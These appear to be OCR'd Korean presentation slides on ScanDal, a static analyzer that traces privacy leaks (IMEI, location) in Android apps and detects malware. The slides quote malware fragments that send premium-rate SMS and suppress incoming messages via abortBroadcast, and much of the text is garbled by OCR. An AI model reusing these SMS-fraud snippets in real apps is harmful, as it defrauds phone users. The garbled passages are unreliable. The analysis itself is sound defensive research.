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@ Backgrounds

Do you want to install this application?

Allow this application to:

Network communication
full Internet access

Your personal information
read contact data, write contact data

Storage
modify/delete USB storage contents

Phone calls
read phone state and identity

System tools
prevent tablet from sleeping

Show all

Install Cancel
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Do you want to install this application?

Allow this application to:

Phone calls
read phone state and identity

Show all

Install

Cancel




® ScanDal
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® Dalvik H[O]
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JREER

o JHOIHE A A APIZEH

o 2Z|dH . getLastKnownLocation(),..
o J|7|AEH S - getbeviceId(),..

o Al 3 APIT}IA]

o L E2H -10aduriy(),..
o L|ERI/MYU -write(),..

® SMS - sendTextMessage(),...
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Application

Source

sink

Kids Preschool Puzzle
Job Search

Kids Shape
Kids ABC Phonics
Backgrounds HD WVallpapers
Bible Quotes
ES Task Manager
Multi Touch Paint
Adao File Manager
(D-Day) The Day Before
Kids Number and Math

_ocation
_ocation
_ocation
_ocation
IMEI
_ocation
_ocation
_ocation
_ocation
_ocation
_ocation

File
Net
File
File
Net
Net
Net
File & Net
Net
Net
File




Application

source

Shot Gun

Baseball Superstars 2010

CacheMate for Root Users

Monkey Jump 2

Protector

Gold Miner

Mini Army

Xing Metro

Phone #
IMEI
IMSI

|ICC-1D

Location

Network




Application

source

Shot Gun

Baseball Superstars 2010

CacheMate for Root Users

ed . Monkey Jump 2

Protector

Gold Miner

Mini Army

Xing Metro

Phone #
IMEI
IMSI

ICC-ID

Location

Network

Monkey Jump 2 (Original)
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Google Wallpapers 4.2.2

Timeline

Wallpapers.onCreate (Bundle)
» r=TelephonyManager.getDeviceId() .qore "\P M
eWallpaperConst.IMEI=r emOI")’




Oj| A

Google Wallpapers 4.2.2

Timeline

SearchTagsActivity.initTagWebView()
v=this.mWebView
p=this.mSharedPreferences

=) r=XMLTools.getSearchURL(p)
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Google Wallpapers 4.2.2

Timeline

SearchTagsActivity.initTagWebView()
v=this.mWebView
p=this.mSharedPreferences
r=XMLTools.getSearchURL(p)

XMLTools .getSearchURL (SharedPreferences)
» IMEI=XMLTools.getLocale version IEMI W H(this)
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Google Wallpapers 4.2.2

Timeline

Memory

SearchTagsActivity.initTagWebView()
v=this.mWebView Load IMEI
p=this.mSharedPreferences
r=XMLTools.getSearchURL(p)

XMLTools .getSearchURL (SharedPreferences)
IMEI=XMLTools.getLocale version IEMI W H(this)

XMLTools.getLocale version IMEI W H(SharedPreferences) “//
IMEI=eWallpaperConst.IMET
return s+IMET
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Google Wallpapers 4.2.2

Timeline

SearchTagsActivity.initTagWebView()
v=this.mWebView
p=this.mSharedPreferences
r=XMLTools.getSearchURL(p)

XMLTools .getSearchURL (SharedPreferences)

r=url+IMEI+signatureParam
return r
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Google Wallpapers 4.2.2

Timeline

SearchTagsActivity.initTagWebView()

~ flow Y\
detected /

— R

» WebView.loadUrl (V,r) s
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Google Wallpapers 4.2.2

Timeline

SearchTagsActivity.initTagWebView()

/ “http://www.imnet.us/api/wallpapers/photos/
» - search_keywords?”+|MEIl+SignatureParamString

WebView.loadUrl (v, r)

 T—



http://www.imnet.us/api/wallpapers/photos/search_keywords
http://www.imnet.us/api/wallpapers/photos/search_keywords
http://www.imnet.us/api/wallpapers/photos/search_keywords
http://www.imnet.us/api/wallpapers/photos/search_keywords
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Bytecode A
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° U M7|A| I (apk) = BH2E

® Java L QIO| & =4

o [}j&f A10]= Dalvik VM Bytecode

® classes.dex (DexDump)

* XML& 40| L

® Manifest, Layout




Bytecode A
. XML

® Dalvik VM Bytecode
® 220997} B3]

~ Memory
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B)'tecode\\“ \ [/ Abstract
+ XML " Memory

R

move € e
istype e e ty
new e ty

° get e e id
put e e 1id

¢ gets e id
puts e 1d
addcallback id e

call ty id €e*
vcall id eT
return

throw e

jmpnz e pc
switch e (e, pe)™
walt
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® Activity A48 View=2| ID, ...

® XMLOJ|AM Q1|2




Dalvik \ / Abstract
Memory

® Dalvik Core9j| CHal ©FA
o [HH Z9| Domain =

® Flat &= Power Set
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® Sparse =X A&

T 1

® Java 543, 7| AlO]
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® http://malgenomeproject.org



http://malgenomeproject.org
http://malgenomeproject.org
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SMS 7T =2{| 7] a3

® zSonel|| ZFA =l 3D Cube Horror Terrible

o £ W15 2 HE| SMSTH EASIH 0| S 7tE M

public class MJReceiver extends BroadcastReceiver {
public void onReceive(...){

1f ()]

str = sms.getDisplayOriginatingAddress();
1if(str == 10665123085) {
abortBroadcast () ;




SMS 7T =2{| 7| @3

® zSonel|| ZFA =l 3D Cube Horror Terrible

o £ W15 2 HE| SMSTH EASIH 0| S 7tE M

<receiliver android:name=".MJReceiver'>
<intent-filter>
<action android:name="...SMS RECEIVED"/>
</intent-filter>
</receiver>




SMS ZtE2 27| 35

® SMS_RECEIVED O|HIE 528 thtste

® onReceive () 240 A

® abortBroadcast() /| 2=k =7}




SMS =2l EH7] in

® zSonel|| ZFA =l 3D Cube Horror Terrible

o QY A|ZfTH EA|0) S HS 2 SMS XS

// Kube.onCreate() -> Kube.initMainView() -> MJUtils.sendSms() ->
MJUtils.sendCM()

private void sendCM()
{
SmsManager localSmsManager = SmsManager.getDefault();
Context localContext = this.context;
Intent localIntent = new Intent();
PendingIntent localPendinglIntentl = ...;
PendingIntent localPendingIntent2 = null;
localSmsManager.sendTextMessage("10621900",
null, "M6307AHD", localPendingIntentl, localPendingIntent2);
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® sendTextMessage() 2F7
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)\EI 3C|;| Runtime.getRuntime().exec(”..."”).waltFor ()
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